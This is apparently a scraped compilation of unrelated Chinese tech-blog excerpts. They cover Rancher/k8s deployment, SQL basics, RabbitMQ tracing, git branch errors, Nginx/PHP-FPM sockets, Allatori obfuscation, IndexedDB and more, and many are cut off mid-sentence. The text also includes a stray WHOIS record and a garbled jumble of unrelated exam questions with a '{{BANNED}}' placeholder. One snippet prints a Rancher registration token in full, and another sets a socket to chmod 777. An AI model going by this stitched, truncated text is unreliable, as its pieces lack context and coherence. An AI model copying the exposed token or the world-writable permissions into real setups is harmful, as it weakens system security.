Rancher+k8s+Jenkines流水线+SpringCloud 微服务部署实践

Rancher+k8s+Jenkines流水线+SpringCloud 微服务部署实践 容器虚机规划 k8s 用来管理docker容器,runcher用来管理k8s, Jenkins负责流水线发布,预计一个master,三个节点 服务器环境容器规划 docker pull mysql:5.7 docker pull redis:5 docker pull nginx:1.10 docker pull rabbitmq:3.7.15-management docker pull elasticsearch:7.6.2 docker pull kibana:7.6.2 docker pull logstash:7.6.2 docker pull mongo:4.2.5 应用容器规划 mall-monitor监控中心mall-gateway微服务网关mall-auth认证中心mall-admin商城后台服务mall-portal商城前台服务mall-search商城搜索服务 虚拟机环境容器规划 节点名称安装软件ip内存/cpu硬盘备注k8s-mall-masterrabbitmq/elasticsearch/kibana/logstash/kebute/kebuteadm192.168.0.2214G/4c50Gk8s-mall-node1nginx/mysql/redis/kebute192.168.0.2124G/4c50Gk8s-mall-node2rancher/mongo/kebute192.168.0.2134G/4c50Gk8s-mall-node3harbor/jenkins/kebute192.168.0.2148G/4c50G K8s环境搭建 参考 https://blog.csdn.net/qq_34168515/article/details/105330287 链接 该链接很完善,按照此步骤就可以搭建成功,按图索骥即可 ps:Flannel 插件下载不了可以参考这个:https://www.jianshu.com/p/5b41e6654332 Harbor环境搭建 https://blog.csdn.net/qq_39314099/article/details/105710428 push 镜像需要注意镜像tag的格式 要是 ”harbor域名+项目“否则会导致无权限push。 Rancher搭建 执行下述命令开启Rancher rancher环境搭建 docker run -d --privileged --restart=unless-stopped --net=host -v /etc/kubernetes:/etc/kubernetes -v /var/run:/var/run rancher/rancher-agent:v2.4.8 --server https://192.168.0.213 --token mgzdkzkw9zsknlnm2529hrjglnnctdj5j6zt55sf6w9wxt7xgzww7v --ca-checksum 6144544391ec6c467327b166d8d19cd46e76bdfc95e421245affaff518ba3dbc --worker Rancher配置,集群添加参考一下链接

sql初了解

sql是用于访问和处理数据库的标准计算机语言。 sql指结构化查询语言,是一种ANSI的标准计算机语言,使我们有能力访问数据库。 sql能做: SQL 面向数据库执行查询 SQL 可从数据库取回数据 SQL 可在数据库中插入新的记录 SQL 可更新数据库中的数据 SQL 可从数据库删除记录 SQL 可创建新数据库 SQL 可在数据库中创建新表 SQL 可在数据库中创建存储过程 SQL 可在数据库中创建视图 SQL 可以设置表、存储过程和视图的权限 sql对大小写不敏感,数据库中分隔每条sql语句用分号,这样就可以在对服务器的相同请求中执行一条以上的语句。 SQL 分为两个部分:数据操作语言 (DML) 和 数据定义语言 (DDL)。 查询和更新指令构成了 SQL 的 DML 部分: SELECT - 从数据库表中获取数据 UPDATE - 更新数据库表中的数据 DELETE - 从数据库表中删除数据 INSERT INTO - 向数据库表中插入数据 SQL 的数据定义语言 (DDL) 部分使我们有能力创建或删除表格 SQL 中最重要的 DDL 语句: CREATE DATABASE - 创建新数据库 ALTER DATABASE - 修改数据库 CREATE TABLE - 创建新表 ALTER TABLE - 变更(改变)数据库表 DROP TABLE - 删除表 CREATE INDEX - 创建索引(搜索键) DROP INDEX - 删除索引

rabbitmq消息可靠性分析

通过firehose插件跟踪消息过程 开发测试阶段用于分析消息消费的过程,生产关闭,以免影响整体性能 rabbitmq_tracing 插件相当于Firehose 的GUI 版本,能跟踪RabbitMQ 中消息的流入流出 情况。 1、启动/停用插件 rabbitmq-plugins enable/disable rabbitmq_tracing 2、控制台的Admin/Tracing页面中添加两个trace 举例:exchange为 ex.car.estimate,queue为queue.car.estimate 约定在创建trace时, 设置生产者发送消息的pattern为publish.ex.car.estimate,而消费者消费消息的pattern为deliver.queue.car.extimate 3、模拟发送接收消息可以看到产生了两个日志文件

mybatis-plus多个主键

首先maven引入 <dependency> <groupId>com.github.jeffreyning</groupId> <artifactId>mybatisplus-plus</artifactId> <version>1.2.0-RELEASE</version> </dependency> 然后实体类的注解如下 @TableId(value = "doctor_id", type = IdType.INPUT) @MppMultiId private Integer doctorId; @TableId(value = "team_id", type = IdType.INPUT) @MppMultiId private Integer teamId;

Ubuntu使用笔记

Ubuntu使用笔记 1、打开命令行(终端): 快捷键:ctrl+alt+t 2、如何复制windows中代码到ubuntu:安装vmware tools 解压名为VMwareTools-10…tar.gz的文件 一定要先cd到/vmware-tools-distrib/文件夹,文件路径是中文名的就要输汉字! 拼音输入异常处理方法:终端输入ibus-daemon -drx回车 运行sudo ./vmware-install.pl 访问报错,说无权限时,开头加sudo,多次都有效! 3、gdb调试

2.4.1 频分复用、时分复用 和 统计时分复用

复用 一个信道 只传送 一个信号 太浪费了 前面为了提高信号传输速率想了很多方法:提高信噪比、编码… 可否一个信道能同时传送多个信号来提高利用率:复用 复用 如下,A1,B1, C1 分别使用单独的信道 和 A2,B2, C2 通信,需要 3 个信道 复用技术就是: 在发送端使用一个 复用器,让 A1,B1, C1 使用一个共享信道(高速信道)进行通信 在接收端使用 分用器,把合起来传输的信息分别送到相应的终点 共享信道就是多个信号在同一信道里面各走各的路 比如 一个在地上走,一个在天上飞 你走我不走,你不走我走 先后走 轮流走等等 复用和分用 分别用到 复用器和分用器 复用器和分用器之间是 用户共享的高速信道 二者作用相反 分用器把高速信道传送过来的数据进行分用,分别送交到相应的用户 频分复用 (FDM,frequency division multiplexing ) 描述 将 整个带宽(频率)分成多个频带,用户在通信过程中 始终 占用这个频带。 频分复用的所有用户在同一时间占用不同的带宽资源(频率) 在使用频分复用时 若每个用户占用的带宽(频率)不变, 当复用的用户数增加时,复用后信道的总带宽就跟着变宽 如传统电话通信每一个标准话路的带宽是 4 kHz(通信用 3.1 kHz 加上两边的保护频带),当有 1000 个用户进行 频分复用时,服用后的总带宽就是 4 MHz 香农公式中 W 越大,频带越宽,就能将信道划分成更多的频带用来传输数据 因此 速率上限变大 频分复用和时分复用的技术都比较成熟,但不够灵活,时分信号更有利于数字信号的传输

Cmder中配置nrm显示出错?

##Cmder中配置nrm显示出错? 如题下载好Cmder和Node.js安装后配置,一般检验这三项显示版本号的话就表示Node.js安装没有问题(注意单词后的- -前有一个空格) 后面到配置Node.js 因为它的服务器默认是在国外的,所以要进行配置(可以使用淘宝端的) 如果翻墙的话可以直接是直接连接国外的服务器输入 npm i -g nrm 回车,等待安装 第一次安装的时候没有fan qiang,后面翻了后安装,但是查询版本号的时候显示如图,报错抛出 没有办法,查询了一圈下来没有找到解决办法,最怕的就是束手无措 当时使用的Node.js是v8.多的版本,后面看到官网的较新的版本是14版的,所以卸载了安装新的 ╮(╯﹏╰)╭ fan qiang加载的慢,后面按照先前的步骤到nrm --version这里总算执行成功显示版本号了(上面的截图是安装好14版之后的版本号) 到这一步基本解决了之前的nrm配置问题,后面可以进一步配置了 nrm ls 查询可以使用列表,选择taobao端的 nrm use tao 另外之前装有某卫士的时候,命令行输入代码后反应很慢,后面卸载掉的时候意外的快了很多,果然第三方杀毒软件有时候对开发者的环境体验不太友好

本地配置 Aria2 下载程序搭建及 Web 控制面板

本篇教程 通过在 Windows 本地系统中搭建 aria2 服务并通过本地或第三方 Web 控制面板来进行多线程、多源下载。 本地系统环境:Windows10 21H1 aria2 命令行程序:aria2 aria2 Web 前端:AriaNg 什么是 aria2 aria2 是一个轻量级的多协议和多源,跨平台的命令行下载程序, 它支持 HTTP / HTTPS,FTP,SFTP,BitTorrent 和 Metalink。 在 Github 页面中介绍的详细特征: 通过 HTTP(S)/ FTP / SFTP / BitTorrent 下载文件分段下载Metalink 版本 4(RFC 5854)支持(HTTP / FTP / SFTP / BitTorrent)Metalink 3.0 版支持(HTTP / FTP / SFTP / BitTorrent)Metalink / HTTP(RFC 6249)支持HTTP / 1.1 实现HTTP 代理支持HTTP BASIC 身份验证支持HTTP 代理身份验证支持众所周知的代理环境变量:http_proxy,https_proxy,ftp_proxy,all_proxy 和 no_proxyHTTP gzip,deflate 内容编码支持使用 HTTPS 中的给定可信 CA 证书验证对等方HTTPS 中的客户端证书身份验证分块传输编码支持使用 Firefox3 格式,Chromium / Google Chrome 和 Mozilla / Firefox(1.

java中无效字符串,在java中从字符串中删除无效的XML字符

到目前为止,所有这些答案只会取代字符本身。但有时XML文档会有无效的XML实体序列,从而导致错误。例如,如果 Illegal character entity: expansion character (code 0x2 at ... . 这里有一个简单的java程序,可以替换那些无效的实体序列。 public final Pattern XML_ENTITY_PATTERN = Pattern.compile("\\&\\#(?:x([0-9a-fA-F]+)|([0-9]+))\\;"); /** * Remove problematic xml entities from the xml string so that you can parse it with java DOM / SAX libraries. */ String getCleanedXml(String xmlString) { Matcher m = XML_ENTITY_PATTERN.matcher(xmlString); Set replaceSet = new HashSet<>(); while (m.find()) { String group = m.group(1); int val; if (group != null) { val = Integer.

php sock配置,Nginx+PHP-FPM的域Socket配置方法

1什么是域Socket “Unix domain socket 或者 IPCsocket 是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流数和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。 Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播。” -----维基百科 2创建Socket文件 在/dev/shm下,执行: touch php-fcgi.sock chown admin:admin php-fcgi.sock chmod 777 php-fcgi.sock 3 Nginx配置 =============================================================================== server { listen 80; server_name cdai.net; autoindex off; error_page403 /index.php; error_page404 /index.php; if( $fastcgi_script_name ~ \..*\/.*php ) { return403; } location / { index index.php; root /home/cdai; } location ~ \.php$ { root /home/cdai;

java+连接jmx,根据进程ID连接JMX,代码测试

class="java" name="code">import sun.misc.VM; import sun.misc.VMSupport; import java.io.IOException; import java.net.ServerSocket; /** * Created by DUDU on 2018/6/12. */ public class Server { public static void main(String[] args) throws InterruptedException { try { // ServerSocket ss = new ServerSocket(21000); // String addr = System.getProperty("com.sun.management.jmxremote.localConnectorAddress"); String addr = (String) VMSupport.getAgentProperties().get("com.sun.management.jmxremote.localConnectorAddress"); System.out.println("addr1:" + addr); if (addr == null) { // Thread.currentThread().getContextClassLoader().loadClass(""); // Class.forName("sun.management.Agent"); sun.management.Agent.premain(""); } addr = (String) VMSupport.getAgentProperties().get("com.sun.management.jmxremote.localConnectorAddress"); System.out.println(addr); } catch (IOException e) {

vs2017安装驱动环境,安装wdk.vsix插件采坑指南

第一坑:我看的csdn上面某些人写的博客比如这位 https://blog.csdn.net/cxy1991xm/article/details/106607906?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161626227616780271589761%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=161626227616780271589761&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-2-106607906.pc_search_result_hbase_insert&utm_term=VS2017%E4%B8%ADDrivers 你看他的步骤确实可以,但是自己装了发现自己vs2017中的插件根本没装上,为什么?鄙人折腾了一个下午,终于发现,被坑惨了, 这个最新WDK根本不行,为什么了,因为他是最新的,他是支持VS2019, 根本不支持VS2017,要装旧版的WDK. l链接:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/other-wdk-downloads 这里你要装1809或者1803或者1709,你不能装1903甚至最新,装了,你会发现没用。 第二坑:装了WDK,你会发现可能你VS2017还是没有驱动插件,就是这个 就是Driver这个,好急啊,为什么装了还是没有,因为他有时候不会自动帮你装,这个你可能需要重启一下,然后手动装这个插件。因为重启以后,执行接下来这个步骤, 你必然可以装上插件,因为,当执行下一步装插件时候,他可能提示,有几个后台进程正在运行,你无法装插件,所以,请重写一下电脑,杀死这几个进程,抱歉我没截图。 第三个坑:装WDK.vsix插件 这是微软官网写的,神坑,我一直在我电脑这个目录里找,不停地装WDK,然后删除,然后再找,来回折腾了五次,当我快放弃的时候,我去先撸了一把,然后接着又折腾了一把, 突然发现,我装WDK的地方根本不在这个目录啊,我擦,当时有种揍人的冲动,坑啊!!!fuck you !!! 我的插件在VSix这个目录下,装完WDK会有这个目录 双击这个WDK.vsix就可以安装成功了,到这里才算大功告成!! 总结: 第一步:装SDK 第二步:装WDK 第三步:找到装WDK目录下的Vsix目录,找到WDK.vsix安装即可 友情提示,如果装WDK他自动装vsix的话,忽略第三步,即可。 坑不坑,有些nt博主,写的啥,nt

软考视频思维导图

今天看了一下软考视频,发现自己有很多学过的东西,视频上内容讲的很全面,比如进制,计算机组成 结构,差错编码等,还有很多自考的内容也都在上面,我画了一张计算机第一章的思维导图,只是第一遍的, 之后我再对这个导图再次进行优化,这样会使自己印象更加深刻。 当然,这只是我的第一遍导图,还要对内容进行优化。总之,自己需要抓紧时间,来面对软考。

请教如何保存matlab仿真出来的图,如何保存Matlab绘制出来的图像

该文章讲述了如何保存Matlab绘制出来的图像. Matlab提供了丰富的绘图函数,比如ez**系类的简易绘图函数,surf、mesh系类的数值绘图函数等几十个。 有网友向我反映,有时我们只有一个Matlab图像的fig文件,但没有该图像的相关坐标数据,那我们如何获取fig图像的数据呢,这个其实比较好办 1、将那个fig文件保存到Matlab的搜索路径下,双击打开它 2、在Matlab的command中输入如下内容 h=get(gcf,'chidren') data=get(h,{'xdata','ydata','zdat a'}) %此时图形中所有图像的三维数据x,y,z将会以结构体的形式保存到data变量中了 今天我只是讨论下如何保存这些由Matlab绘制出来的图像呢?当然借助第三方截图软件,就算了! 1、直接另存为 在figure中使用菜单file——>saveas——>选择保存形式(fig,eps,jpeg,gif,png,bmp等),这个的缺点是另存为的图像清晰度有很大的牺牲 2、复制到剪贴板 在figure中使用菜单edit——>copy figure——>此时图像就复制到剪贴板了,我们可以借助其他软件(比如:绘图板)保存为需要的图片 3、saveas命令格式 Matlab提供直接的saveas函数可以将指定figure中的图像或者simulink中的框图进行保存,相当于【文件】中的【另存为】 % saveas(figure_handle,filename,fileformat) plot(1:10); saveas(gcf,‘myfig.jpg’) 复制代码 4、print函数 print函数原本不是用来进行图像保存了,而是操作打印机的,但是这里我们可以借用下 % print(figure_handle,fileformat,filename) x=-pi:2*pi/300:pi; y=sin(x);

关于git的问题:error: src refspec main does not match any

刚开始使用github和git时,你可能会按以下(错误)步骤操作: 创建一个仓库,命名,描述,然后添加README和license。 这里我们注意最后一句话: github告诉我们它将会为我们的新仓库创建main作为默认的branch。 然后我们的新仓库就创建好了,同时,我们希望在本地也创建一个文件夹与这个仓库建立联系,这样我们就可以在本机的command使用git直接向远程仓库commit我们的代码,而不用打开github。 这里我在d盘创建了一个example文件夹作为本地仓库的载体(默认git已经安装并配置好了), 执行 git init 指令在这个文件夹创建了一个仓库。 随后我在example文件夹中创建一个新文件hello world.txt,现在我希望commit本次更改到我刚刚创建好的github仓库,首先我复制了我远程仓库的地址: 执行git remote add ... ......指令与远程仓库的建立连接: 然后git add .提交到缓冲区,git commit -m "..."提交commit,一切看起来那么顺利,只需最后git push 就愉快的结束了。 这里我们还记得github为我们创建的默认分支main,我们push到这个分支。 糟糕的部分来了: error: src refspec main does not match any 接下来我们分析上面步骤错误的原因: mian 和 master 你可能已经注意到了,在我们每次使用git指令时,git都在一直用蓝色的字提示我们当前处在一个叫master的分支: 这是git为我们创建的默认分支,而在上述过程中我们完全无视了这一点,我们只关心github上的那个main分支,至于为什么它们的默认分支不同,github给出的解释是: GitHub is working on replacing the term “master” on its service with a neutral term like “main” to avoid any unnecessary references to slavery github觉得master有点slavery那味。 所以原因就是github的仓库中没有master这个分支,我们本地的仓库没有main分支,那好办,我们将本地仓库的master分支改名为main分支,它们不就统一了? 执行git branch -m master main,可以看到master已经被成功改为main了,如此,我们继续push就不会有什么问题了吧?

typescript 中的 Mvvm 框架底层原理

文章目录 需要的基础知识基本思想对象 Object数组 Array 实现 JsonOb使用 JsonOb 需要的基础知识 需要了解一些底层的知识才能往下走哦,请前往另一个博客 基本思想 对象 Object 对于 object ,就是改变这个对象的属性,通过重写这个属性的 get 和 set 就可以在 set 里面进行需要的操作 当一个属性被赋值时,我们在 set 的时候去做一些其他的操作 比如发送某一个事件,告诉外部这个变量发生了改变,这个就是 Mvvm 框架所使用的 数组 Array 对于数组,我们需要对数组里面的对象监听变化,即遍历数组,并使用上面的方法 而数组整个的变化,我们也需要监听 比如数组的 push() , pop() 这种会改变数组内容的重要方法 我们也必须通知到位,跟劫持对象的属性一样 劫持对象的属性用 get 和 set 对于数组我们就重写他的方法即可 实现 JsonOb /** * 实现动态绑定的核心部分, * 每次修改属性值,都会调用对应函数,并且获取值的路径 */ const OP = Object.prototype; const types = { obj: '[object Object]', array: '[object Array]' } const OAM = ['push', 'pop', 'shift', 'unshift', 'sort', 'reverse', 'splice']; /** * 实现属性拦截的类 */ export class JsonOb<T> { constructor(obj:T, callback: (newVal: any, oldVal: any, pathArray: string[]) => void) { if (OP.

m.555lu.co wap.php,www.jiujiucao.xyz

Domain Name: JIUJIUCAO.XYZ Registry Domain ID: D111678131-CNIC Registrar WHOIS Server: whois.godaddy.com Registrar URL: https://www.godaddy.com/ Updated Date: 2019-10-22T13:12:10.0Z Creation Date: 2019-07-07T09:51:36.0Z Registry Expiry Date: 2020-07-07T23:59:59.0Z Registrar: Go Daddy, LLC Registrar IANA ID: 146 Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited Domain Status: clientTra1ferProhibited https://icann.org/epp#clientTra1ferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited Registrant Organization: Registrant State/Province: Registrant Country: US Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.

php yield协程,PHP 协程

协程 “协程”就是用户态的线程 要理解是什么是”用户态的线程”,必然就要先理解什么是”内核态的线程”。 内核态的线程是由操作系统来进行调度的,在切换线程上下文时,要先保存上一个线程的上下文,然后执行下一个线程,当条件满足时,切换回上一个线程,并恢复上下文。 协程也是如此,只不过,用户态的线程不是由操作系统来调度的,而是由程序员来调度的,是在用户态的 – 关于”用户态线程”,我们用个小例子来加深理解 我们有两个函数 task1,task2,我们来手动调度它们的执行顺序,比如在task1执行一半的时候去执行task2,两个或者多个函数之间交替执行(这就是协程的概念)。 我们来个正常的函数调用方式: function task1() { echo "task1函数 执行1\n"; echo "task1函数 执行2\n"; } function task2() { echo "task2函数 执行1\n"; echo "task2函数 执行2\n"; } // 调度 task1(); task2(); 可想而知,以上的输出肯定是: task1函数 执行第1 task1函数 执行第2 task2函数 执行第1 task2函数 执行第2 但是我想在程序输出task1函数 执行1之后就输出task2函数 执行1怎么办? 这个时候 yield 就派上用场了,PHP里的协程是需要借助 yield 来完成的。记住,yield 不是协程,而是协程需要借助 yield 的特性来实现。 function task1() { echo "task1函数 执行1\n"; yield; echo "task1函数 执行2\n"; } function task2() { echo "

Allatori混淆SpringBoot项目代码

Allatori简介 Allatori是一个Java 混淆器,它属于第二代混淆器,因此它能够全方位的保护你的知识产权。 Allatori具有以下几种保护方式:命名混淆,流混淆,调试信息混淆,字符串混淆,以及水印技术。对于教育和非商业项目来说这个混淆器是免费的。支持war和jar文件格式,并且允许对需要混淆代码的应用程序添加有效日期。 有项目需要对代码进行保护,比较初级的方案就是对代码进行混淆,打包之后的文件进行反编译后,就可以看到效果。 Allatori官方文档 springBoot中使用Allatori 项目环境 本项目为基于springBoot搭建的父子结构项目目标 对项目中的后台核心代码(java)尽可能地进行混淆,保护源代码,且不能影响服务的正常运行及使用需解决问题 因为项目是web项目,少不了的会有对象注入、方法调用、参数映射等。而混淆时会对类名、方法名、参数名等进行重命名,重命名后会影响对象在Spring容器中的注册、方法调用和参数映射的异常;项目是父子结构,因此 maven 打包时会将子项目打包为依赖的jar包进行依赖,怎么对依赖的jar进行混淆;混淆后的服务如何正常使用,以及错误的排查 使用 在pom文件中引入依赖 里边的配置我已经标了详细的注释,注意根据自己的具体环境做调整 <!-- allatori 代码混淆 start --> <plugin> <!-- resouces拷贝文件插件 --> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>3.1.0</version> <!-- 执行这个插件的时候执行申明的所有phase --> <executions> <execution> <id>copy-and-filter-allatori-config</id> <phase>package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> <!-- 指明文件的输出路径 即混淆后的文件的输出路径 ${basedir}:是项目的根目录 即与src同级的目录 --> <outputDirectory>${basedir}/target</outputDirectory> <resources> <resource> <!-- 项目的resources目录,一般用于存放配置文件 --> <directory>src/main/resources</directory> <includes> <!-- 代码混淆时所依据的配置文件 可以看出,我放在了resources目录下 这个文件将会被拷贝到 ${basedir}/target 目录下--> <include>allatori.xml</include> </includes> <filtering>true</filtering> </resource> </resources> </configuration> </execution> </executions> </plugin> <plugin> <!

matlab link offset,确定字段在结构体内的偏移量

H5ML.hoffset 确定字段在结构体内的偏移量 注意 不推荐使用 H5ML.hoffset。请改用 H5T。 语法 说明 此函数用于确定字段内的结构体偏移量 H5T.insert(file_type,'a', offset(1), dtype(1));(以字节为单位)。构造 HDF5 COMPOUND 类型时使用此函数。它旨在与 HDF5 HOFFSET 宏相对应。有关 HOFFSET 宏运算的更多详细信息,请查阅 HDF5 文档。 函数参数: offset字段在结构体内的字节偏移量。 structure包含指定字段名称的结构体。 fieldname用于确定偏移量的字段。 示例 此函数已被弃用。此函数仅可用于不包含自身作为 HDF5 COMPOUND 或可变长度的字段的工作流。要处理这些情况,应直接计算偏移量。例如,在上述情况下,可以通过以下语句为上述复合数据创建文件数据空间: dtype(1) = H5T.copy('H5T_NATIVE_INT'); dtype(2) = H5T.copy('H5T_NATIVE_DOUBLE'); dtype(3) = H5T.copy('H5T_NATIVE_FLOAT'); for j = 1:3, sz(j,1) = H5T.get_size(dtype(j)); end % The first offset would always be zero and the size of the last % field does not matter. offset(1) = 0;

java 不让子类重写方法,在Java中,如果父类中的某些方法不包含任何逻辑,并且需要有子类重写,应该使 用( )关键字来声明...

以下可以用于外墙装修的是( )装修做法。 下列不属于投资性房地产的是 葡萄胎的病变为良性,其病变范围只局限于 3.关于脊髓内部结构的描述,错误的是(0.2分) 由 T 细胞介导 的{{BANNED}} 反应是 ()。 MOV格式的文件能否直接作为视频背景A.()是()B.()否 MOV格式的文件能否直接作为视频背景A.()是()B.()否 什么技术推动了第四次工业革命的到来? 下列程序段完成将整数m写入新建文本文件1.txt中。FILE *fp; int m;m = 12;fp = fopen("1.txt", "w") ;___________ ; //将整数m写入文件1.txt中 week 缩略语为 地方性甲状腺肿的临床表现不包括 (2分)HSB色彩模型和RGB色彩模型的值是一一对应的。 GA可代替低温和长日照,所以GA是春化素。 智慧职教: 增加神经细胞膜外K+的浓度时静息电位负值 下列哪种接脚称为三态接脚? (末考:基础知识部分)联系指的是两个实体集或两个以上实体集之间的联系,一个实体集内各实体之间是不存在任何联系的。() 地方性甲状腺肿的临床表现不包括 智慧职教: 以下除()外均是普通型薄膜包衣材料 构造方法主要 用于对类的成员变量进行初始化,一个类仅有一个构造方法 在IP数据报中,如果报文首部长度域的数值为7,那么该报头的首部长度为()个字节。 文字的普通和惯常的含义对合同条款进行解释的原则是() 下列程序段完成将整数m写入新建文本文件1.txt中。FILE *fp; int m;m = 12;fp = fopen("1.txt", "w") ;___________ ; //将整数m写入文件1.txt中 B2C 的主要盈利模式有产品销售营业收入模式、网络广告收益模式、收费会员制收益模式和 ______ 。 有关HE染色的原理,以下正确的是:() 古德莱德区分的课程层次中,“理解的课程”、“运作的课程”、“经验的过程”属于课程变革过程的哪个阶段() 下列有关注册会计师审计责任的描述中,正确的是()。 以下可以用于外墙装修的是( )装修做法。 下列不属于投资性房地产的是 MOV格式的文件能否直接作为视频背景A.()是()B.()否 研究表明,短时记忆中的记忆广度约为( )组块。 计算机可以通过不同的时间段来区分指令和数据,即在取指令阶段(或取指微程序)取出的为指令,在执行指令阶段(或相应微程序)取出的即为数据 葡萄胎的病变为良性,其病变范围只局限于

java persistence,java-jpa(Java Persistence API)初识,

java-jpa(Java Persistence API)初识, java-jpa(Java Persistence API)初识 Java Persistence API:用于对象持久化的 API Java EE 5.0 平台标准的 ORM 规范,使得应用程序以统一的方式访问持久层 JPA和Hibernate的关系: JPA 是 hibernate 的一个抽象(就像JDBC和JDBC驱动的关系): JPA 是规范:JPA 本质上就是一种 ORM 规范,不是ORM 框架 —— 因为 JPA 并未提供 ORM 实现,它只是制订了一些规范,提供了一些编程的 API 接口,但具体实现则由 ORM 厂商提供实现 Hibernate 是实现:Hibernate 除了作为 ORM 框架之外,它也是一种 JPA 实现 从功能上来说, JPA 是 Hibernate 功能的一个子集 JPA 的供应商: JPA 的目标之一是制定一个可以由很多供应商实现的 API,目前Hibernate 3.2+、TopLink 10.1+ 以及 OpenJPA 都提供了 JPA 的实现 Hibernate:JPA 的始作俑者就是 Hibernate 的作者, Hibernate 从 3.2 开始兼容 JPA OpenJPA :OpenJPA 是 Apache 组织提供的开源项目 TopLink: TopLink 以前需要收费,如今开源了

indexDB在vue项目中的应用

ndexedDB 是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。该 API 使用索引实现对数据的高性能搜索。虽然 Web Storage 在存储较少量的数据很有用,但对于存储更大量的结构化数据来说力不从心。而 IndexedDB 提供了这种场景的解决方案。 (1)Indexed DB: 索引数据库,操作简便,目前主流浏览器正努力实现对index DB的支持。 Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了Web Storage(Local Storage和Session Storage)与IndexedDB。Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。 (2)indexDB主要对象介绍: • IDBFactory:打开数据库的工厂对象,用于打开数据库,并管理数据库版本。 • IDBOpenDBRequest:请求对象,对数据库的访问、操作都是基于请求的,通过请求对象获取其他DOM对象。 • IDBDatabase:数据库对象,封装了对数据库表的创建、编辑等功能。 • IDBObjectStore:类似于数据库的数据表。 • IDBIndex:数据库索引对象,用于创建数据表的索引。 • IDBTransaction:数据库事物控制对象。 • IDBCursor:数据库访问游标,用于访问数据。 (3)异步API 在IndexedDB大部分操作并不是我们常用的调用方法,返回结果的模式,而是请求——响应的模式,比如打开数据库的操作 var request=window.indexedDB.open('testDB'); 这条指令并不会返回一个DB对象的句柄,我们得到的是一个IDBOpenDBRequest对象,而我们希望得到的DB对象在其result属性中, 这条指令请求的响应是一个 IDBDatabase对象,这就是IndexedDB对象, 除了result,IDBOpenDBRequest接口定义了几个重要属性 • onerror: 请求失败的回调函数句柄 • onsuccess:请求成功的回调函数句柄 • onupgradeneeded:请求数据库版本变化句柄 所谓异步API是指并不是这条指令执行完毕,我们就可以使用request.result来获取indexedDB对象了,就像使用ajax一样,语句执行完并不代表已经获取到了对象,所以我们一般在其回调函数中处理。 开始使用 新建indexDb.js,封装增删改 import Vue from 'vue'; let local = { save(key, value) { if (typeof value === 'string') {

Katalon Recorder的安装和使用 - Web自动化测试工具之一(专门用来录制回放用户操作)

Katalon Recorder - Web自动化测试工具之一 一、Katalon Recorder的来源二、Katalon Recorder的主要功能三、Katalon Recorder的插件安装四、Katalon Recorder的使用 一、Katalon Recorder的来源 随着firefox浏览器的不断升级,浏览器Firefox 55 版本之后,Selenium IDE就被废弃了,官方又出了一个Katalon Recorder来代替它,所以就有了Katalon Recorder的诞生。 二、Katalon Recorder的主要功能 1、录制回放脚本; 2、将录制的脚本转换为代码语言; 3、定位网页的元素; 三、Katalon Recorder的插件安装 Katalon Recorder在谷歌Chrome浏览器和火狐Firefox 55 以上的版本都可以使用这个插件。 下面以火狐浏览器为例,介绍一下如何安装这个插件: (1)首先确认一下自己的火狐浏览器的版本是不是Firefox 55 以上的,笔者的是85.0的。 (2)点击【工具】> 在下拉选项中选择【附件组件】,搜索Katalon Recorder (3)搜索结果中,点击以下应用,再点击【添加到Firefox】,添加后就会出现在浏览器的右上角,就表示已经安装成功了, 版本是5.3.28。 四、Katalon Recorder的使用 (1)打开Katalon Recorder (2)点击【New】新建测试用例 (3)点击【Record】开始录制操作 (4)操作完了之后,回到katalon Recorder,点击【stop】停止录制 (5)这时候,可以来进行回放脚本了 (6)还可以将录制的脚本转换成代码语言 点击【Export】 > 选择要转换的语言 > 保存或复制

TCSVT2021:一种结合全局和局部细粒度特征的行人再识别方法

本文首发于极市平台 论文地址: https://www.researchgate.net/publication/347764290_Feature_Refinement_and_Filter_Network_for_Person_Re-identification 1、摘要: 目前的深度模型往往注重于提取具有较强分辨力的特征,而忽略了其他有价值的特征。此外,提取的细粒度特征可能存在冗余,而且缺乏一种有效的消除背景干扰的方案。研究者提出特征加强和过滤网络并取得比较好的效果。 2、主要内容: (1)通过弱化高响应区域的特征值,模型可以挖掘出图像中更有价值的区域,既保证了训练过程的稳定性,又学习到了行人的完整特征; (2)在得到完整特征的基础上,进一步定位人的高响应特征,消除了背景信息的干扰,提高了特征的泛化能力; (3)为了获取行人的局部细粒度特征,研究者设计了具有多样性损失的多分支注意网络,在去除背景干扰的特征上进行自适应筛选获取行人的局部细粒度特征。 3、问题的提出 行人往往具有相似的形状,再加上姿态、视角、光照、遮挡和复杂背景干扰等原因,行人再识别任务比普通的图片分类任务更加的困难。现有方法往往只关注图像中最具区分性的区域,而不是关注人的所有特征;重要的是,被忽视的部分往往也具价值。此外,研究发现深度学习模型识别图像时,有时会将注意力集中在与图像识别性能无关的图像背景上,这也在一定程度影响了模型的性能。 目前的研究侧重于局部细节特征的提取,将图片特征在垂直方向分割成均匀的N份,提取更加深层次的特征具有很好的效果。然而,如图1所示,一些局部特征不一定是有用的特征,即使是有用的特征,其重要性也是不同的。对人的识别没有影响的特征的联合提取和处理,无疑会影响模型的性能。与固定大小分区的局部特征提取相比,如何过滤区分区域和提取细节特征更有意义。 图1. 